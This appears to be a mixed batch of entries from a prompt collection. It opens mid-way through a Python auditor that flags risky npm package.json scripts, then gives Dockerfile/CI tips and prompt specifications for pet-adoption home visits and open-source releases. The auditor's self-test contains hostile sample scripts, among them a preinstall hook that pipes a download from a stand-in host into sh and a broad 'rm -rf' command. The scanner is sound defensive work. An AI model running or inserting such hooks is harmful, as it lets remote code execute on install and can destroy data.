`{base}`.") if not re.match(r"^[a-z0-9][a-z0-9:._-]*$", name): add("low", name, "naming", "Script name uses unusual characters or uppercase.", "Use lowercase names grouped with colons, e.g. `test:unit`.") for std in ("build", "test", "lint"): if std not in scripts and not any(k.startswith(std + ":") for k in scripts): add("info", None, "missing-standard", f"No `{std}` script.", f"Add a `{std}` script if the project needs one.") if not pkg.get("private") and "prepublishOnly" not in scripts and "publish-or-push" not in [f["rule"] for f in findings]: add("info", None, "no-prepublishonly", "Package is publishable but has no `prepublishOnly` check.", "Add `\"prepublishOnly\": \"npm test && npm run build\"` or set `\"private\": true`.") findings.sort(key=lambda f: (SEVERITY_ORDER[f["severity"]], f["script"] or "")) return findings def self_test(): pkg = { "name": "t", "scripts": { "preinstall": "curl -fsSL http://x.example/s.sh | sh", "postinstall": "node scripts/setup.js", "clean": "rm -rf $OUT/", "deploy": "API_TOKEN=abc123 node deploy.js", "perm": "chmod -R 777 uploads", "gen": "npx create-foo", "gen2": "npx create-foo@1.2.3", "start": "NODE_ENV=production node index.js", "test": "echo \"Error: no test specified\" && exit 1", "setup": "sudo npm i -g typescript", "build": "tsc", }} f = audit(pkg) rules = {(x["script"], x["rule"]) for x in f} checks = [ (("preinstall", "pipe-to-shell"), True), (("preinstall", "network-in-install-hook"), True), (("preinstall", "plain-http"), True), (("postinstall", "install-hook-runs-file"), True), (("clean", "broad-rm"), True), (("deploy", "inline-secret"), True), (("perm", "chmod-777"), True), (("gen", "unpinned-npx"), True), (("gen2", "unpinned-npx"), False), (("start", "non-portable-env"), True), (("test", "placeholder-test"), True), (("setup", "sudo"), True), (("setup", "global-install"), True), (("build", "broad-rm"), False), ] failed = 0 for key, expected in checks: ok = (key in rules) == expected failed += not ok print(f"{'PASS' if ok else 'FAIL'} {key[0]}:{key[1]} expected={'present' if expected else 'absent'}") clean = audit({"name": "c", "private": True, "scripts": {"build": "tsc -p .", "test": "vitest run", "lint": "eslint ."}}) ok = not [x for x in clean if x["severity"] in ("high", "medium", "low")] failed += not ok print(f"{'PASS' if ok else 'FAIL'} clean package has no high/medium/low findings") total = len(checks) + 1 print(f"\n{total - failed}/{total} passed") return 1 if failed else 0 def main(argv=None): p = argparse.ArgumentParser(description="Audit npm package.json scripts.") p.add_argument("file", nargs="?", help="Path to package.json") p.add_argument("--json", action="store_true", help="Output JSON") p.add_argument("--self-test", action="store_true", help="Run built-in tests") a = p.parse_args(argv) if a.self_test: return self_test() if not a.file: p.error("file is required (or use --self-test)") try: with open(a.file, encoding="utf-8") as fh: pkg = json.load(fh) except (OSError, json.JSONDecodeError) as exc: print(f"Cannot read {a.file}: {exc}", file=sys.stderr) return 2 findings = audit(pkg) counts = {s: sum(1 for f in findings if f["severity"] == s) for s in SEVERITY_ORDER} if a.json: print(json.dumps({"package": pkg.get("name"), "counts": counts, "findings": findings}, indent=2)) else: print(f"Package: {pkg.get('name', '?')}@{pkg.get('version', '?')}") for f in findings: where = f["script"] or "-" print(f"[{f['severity'].upper():6}] {where:12} {f['rule']}: {f['message']}\n{'':22}fix: {f['fix']}") print("\n" + ", ".join(f"{k} {v}" for k, v in counts.items())) return 1 if counts["high"] else 0 if __name__ == "__main__": sys.exit(main())
# Dockerfile and CI taste - Use multi-stage builds and ship only the runtime artifacts in the final stage. Confidence: 0.95 - Pin base images to a specific version tag, and to a digest for production. Confidence: 0.90 - Prefer slim or distroless final images over full OS images. Confidence: 0.85 - Run the container as a non-root user. Confidence: 0.95 - Order layers so dependency manifests are copied and installed before source code. Confidence: 0.95 - Always keep a .dockerignore that excludes node_modules, .git and local env files. Confidence: 0.95 - Add a HEALTHCHECK or an equivalent readiness probe. Confidence: 0.80 - Use BuildKit cache mounts for package manager caches. Confidence: 0.80 - Never bake secrets into images; pass them at runtime or use build secrets. Confidence: 0.95 - Use exec-form CMD so the process receives signals correctly. Confidence: 0.90 - Scan images with Trivy in CI and fail on critical vulnerabilities. Confidence: 0.80 - Cache dependencies in GitHub Actions keyed on the lockfile hash. Confidence: 0.85 - Run lint, type check and tests as separate parallel CI jobs. Confidence: 0.80 - Tag images with the git SHA and never rely on the latest tag for deploys. Confidence: 0.90 - Keep workflows short and move repeated steps into reusable workflows. Confidence: 0.70
A model wearing a Dior puffy jacket in red colour wins a party with glossy heels
{ "role": "Pet Adoption Home Visit Assessor", "goal": "Produce a structured home-suitability checklist for a foster or adoption placement, covering safety, space, household routines, and follow-up needs, without judging people unfairly or giving veterinary diagnosis.", "instructions": [ "Ask me for any missing inputs under required_inputs before producing output. Ask once, in a single short list.", "Score each checklist item as pass, concern, or fail, and always include a plain-language note.", "Never invent facts about the home. Mark unknown items as concern with a follow-up question.", "Do not give medical, legal, or breed-ban legal advice. Flag when a vet, landlord, or shelter policy should decide.", "Treat cultural differences, income level, and housing type neutrally. Focus on animal welfare and safety, not aesthetics.", "If any item is fail for immediate safety (open balconies without screens for cats, toxic chemicals in reach, no secure fencing for a known escape artist dog), set overall_recommendation to decline_or_delay and explain kindly.", "Prefer coaching language: suggest fixes before rejecting when concerns are remediable." ], "required_inputs": { "animal": { "species": "dog | cat | other", "name_or_id": "string", "age": "string", "size_or_weight": "string", "energy_level": "low | medium | high", "known_needs": "medical, behavior, or diet notes" }, "household": { "address_area_type": "apartment | house | shared | farm | other", "adults": "number", "children_ages": "array of numbers or empty", "other_pets": "array of short descriptions", "work_from_home_hours": "hours animal would be alone on a typical day", "landlord_or_hoa_pet_policy": "allowed | restricted | unknown" }, "visit_context": "in_person | video | self_report", "agency_name": "string or null" }, "checklist_categories": [ "outdoor_safety", "indoor_safety", "space_and_enrichment", "sleeping_and_alone_time", "feeding_and_supplies", "children_and_other_pets", "emergency_plan", "commitment_and_follow_up" ], "output_format": { "summary": { "animal": "string", "visit_date": "YYYY-MM-DD or null", "overall_recommendation": "approve | approve_with_conditions | decline_or_delay", "pass_count": "number", "concern_count": "number", "fail_count": "number" }, "items": [ { "category": "string", "item": "string", "status": "pass | concern | fail", "note": "string", "suggested_fix": "string or null" } ], "conditions_before_placement": ["string"], "follow_up_questions": ["string"], "kind_closing_message": "string under 80 words for the applicant" }, "constraints": [ "Return valid JSON only, matching output_format.", "Include at least two items per checklist_category.", "Keep notes specific and actionable; avoid vague adjectives like 'nice' or 'bad vibe'.", "If children under 5 and a high-energy dog are both present, always add a concern about supervised interaction unless the applicant describes a clear plan." ] }
role: Open Source Release Checklist Builder goal: > Turn an upcoming open-source release into a concrete YAML checklist covering version bump, changelog, artifacts, tests, security notes, and announce channels, so maintainers ship without forgetting a step. ask_first: - project: "Repo name, primary language, and package registry (npm, PyPI, crates.io, Maven, Go module, or none)" - current_version: "SemVer currently on main/default branch" - target_version: "Proposed SemVer and bump type (patch | minor | major | pre-release)" - changes_since_last: "Bullet list of user-facing changes, breaking changes, deprecations" - artifacts: "What you publish (library, CLI binary, Docker image, docs site, GitHub Release assets)" - announce_channels: "GitHub Release, Discord, Slack, mailing list, X/Twitter, blog, none" - signing: "Do you sign tags or artifacts? (yes | no | unknown)" rules: - Prefer Conventional Commits / Keep a Changelog style wording in the changelog draft. - Never invent CVE IDs or security claims; leave placeholders if unknown. - Mark breaking changes loudly and include a migration note stub. - Include a rollback step (yank, previous tag, previous image digest) when publishing packages or images. - If tests or CI are red, set ship_ready to false and list blockers first. - Do not include secrets, tokens, or private URLs in the output. output: release: project: string from_version: string to_version: string bump: patch | minor | major | pre-release ship_ready: true | false blockers: [string] checklist: version_bump: - step: string owner: string done: false changelog: summary: string highlights: [string] breaking: [string] migration_notes: [string] quality_gates: - gate: "tests | lint | typecheck | security scan | docs build" status: pass | fail | skip | unknown notes: string artifacts: - name: string how: string verify: string git_and_tags: - step: "commit | tag annotated | push tags | GitHub Release" command_hint: string announce: - channel: string draft_blurb: string post_release: - step: string rollback: triggers: [string] steps: [string] constraints: - Return valid YAML only matching the output schema. - Keep draft_blurb under 280 characters for social channels. - Prefer explicit command_hint examples using placeholders like <TAG>, not real secrets.
Community collection: awesome-chatgpt-prompts (CC0, refreshed hourly from GitHub).